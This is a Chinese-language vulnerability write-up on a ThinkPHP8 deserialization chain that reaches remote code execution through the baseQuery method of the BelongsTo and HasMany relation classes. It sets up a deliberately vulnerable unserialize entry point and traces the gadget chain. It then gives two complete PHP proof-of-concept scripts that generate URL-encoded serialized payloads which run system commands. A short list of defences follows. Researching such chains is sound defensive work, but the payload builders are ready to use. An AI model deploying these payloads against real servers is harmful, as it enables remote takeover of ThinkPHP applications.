thinkphp8 通过baseQuery方法的rce
字数 968 2025-08-22 22:47:39
ThinkPHP8 通过 baseQuery 方法的 RCE 漏洞分析
前言
本文详细分析 ThinkPHP8 中通过 baseQuery 方法实现远程代码执行(RCE)的漏洞链。该漏洞利用反序列化链触发,最终可以实现任意命令执行。
环境搭建
- 下载官方 ThinkPHP8 源码
- 使用 phpstudy 搭建环境
- 添加反序列化入口点:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController {
public function index() {
unserialize($_GET['lll']);
return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
}
}
漏洞分析
反序列化入口点
全局搜索 __destruct() 方法,发现三个可能的入口点:
ResourceRegister#__destruct- 其他两个不太适合利用
ResourceRegister#__destruct 代码如下:
public function __destruct() {
if (!$this->registered) {
$this->register();
}
}
调用链分析
register()方法中可控的$this->resource可以调用任意类的__call方法:
protected function register() {
$this->registered = true;
$this->resource->parseGroupRule($this->resource->getRule());
}
- 选择
Relation.php的__call方法:
public function __call($method, $args) {
if ($this->query) {
// 执行基础查询
$this->baseQuery();
$result = call_user_func_array([$this->query, $method], $args);
return $result === $this->query ? $this : $result;
}
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
- 关键点在于
baseQuery()方法,需要找到Relation抽象类的实现类(如BelongsTo或HasMany)
利用方式一:通过 BelongsTo 类
BelongsTo 的 baseQuery 方法:
protected function baseQuery(): void {
if (empty($this->baseQuery)) {
if (isset($this->parent->{$this->foreignKey})) {
// 关联查询带入关联条件
$this->query->where($this->localKey, '=', $this->parent->{$this->foreignKey});
}
$this->baseQuery = true;
}
}
利用 $this->parent->{$this->foreignKey} 触发 __toString 方法。
利用方式二:通过 HasMany 类
HasMany 的 baseQuery 方法:
protected function baseQuery(): void {
if (empty($this->baseQuery)) {
if (isset($this->parent->{$this->localKey})) {
// 关联查询带入关联条件
$this->query->where($this->foreignKey, '=', $this->parent->{$this->localKey});
}
$this->baseQuery = true;
}
}
同样利用 $this->parent->{$this->localKey} 触发 __toString 方法。
POC 构造
方式一:使用 BelongsTo
<?php
namespace think\db;
class Fetch {}
namespace think;
abstract class Model {
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $connection;
function __construct() {
$this->data["lll"] = ["whoami"];
$this->withAttr["lll"] = ["system"];
$this->json = ["lll"];
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->jsonAssoc = true;
}
}
namespace think\model\relation;
use think\db\Fetch;
use think\model\Pivot;
class BelongsTo {
protected $query;
protected $parent;
protected $foreignKey;
function __construct(){
$this->query = true;
$this->parent = new Fetch();
$this->foreignKey = new Pivot();
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think\route;
use think\model\relation\BelongsTo;
class ResourceRegister {
protected $registered = false;
protected $resource;
protected $db;
function __construct() {
$this->registered = false;
$this->resource = new BelongsTo();
}
}
namespace think;
use think\route\ResourceRegister;
$r = new ResourceRegister();
echo urlencode(serialize($r));
方式二:使用 HasMany(更简单)
<?php
namespace think;
abstract class Model {
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $connection;
function __construct() {
$this->data["lll"] = ["whoami"];
$this->withAttr["lll"] = ["system"];
$this->json = ["lll"];
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->jsonAssoc = true;
}
}
namespace think\model\relation;
use think\model\Pivot;
use think\model\HasOne;
class HasMany {
protected $localKey;
protected $query;
protected $baseQuery;
protected $parent;
protected $foreignKey;
function __construct(){
$this->query = true;
$this->baseQuery = null;
$this->parent = new HasOne();
$this->localKey = new Pivot();
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
namespace think\route;
use think\model\relation\HasMany;
class ResourceRegister {
protected $registered = false;
protected $resource;
protected $db;
function __construct() {
$this->registered = false;
$this->resource = new HasMany();
}
}
namespace think;
use think\route\ResourceRegister;
$r = new ResourceRegister();
echo urlencode(serialize($r));
漏洞利用条件
- 存在反序列化入口
- 使用 ThinkPHP8 受影响版本
- 服务器配置允许执行系统命令
防御措施
- 避免反序列化用户可控数据
- 更新到最新版本的 ThinkPHP
- 对用户输入进行严格过滤
总结
该漏洞利用 ThinkPHP8 的反序列化链,通过 baseQuery 方法中的 $object->{$property} 语法触发 __toString 方法,最终实现 RCE。利用方式灵活,可以通过多种类(如 BelongsTo、HasMany 等)实现相同的效果。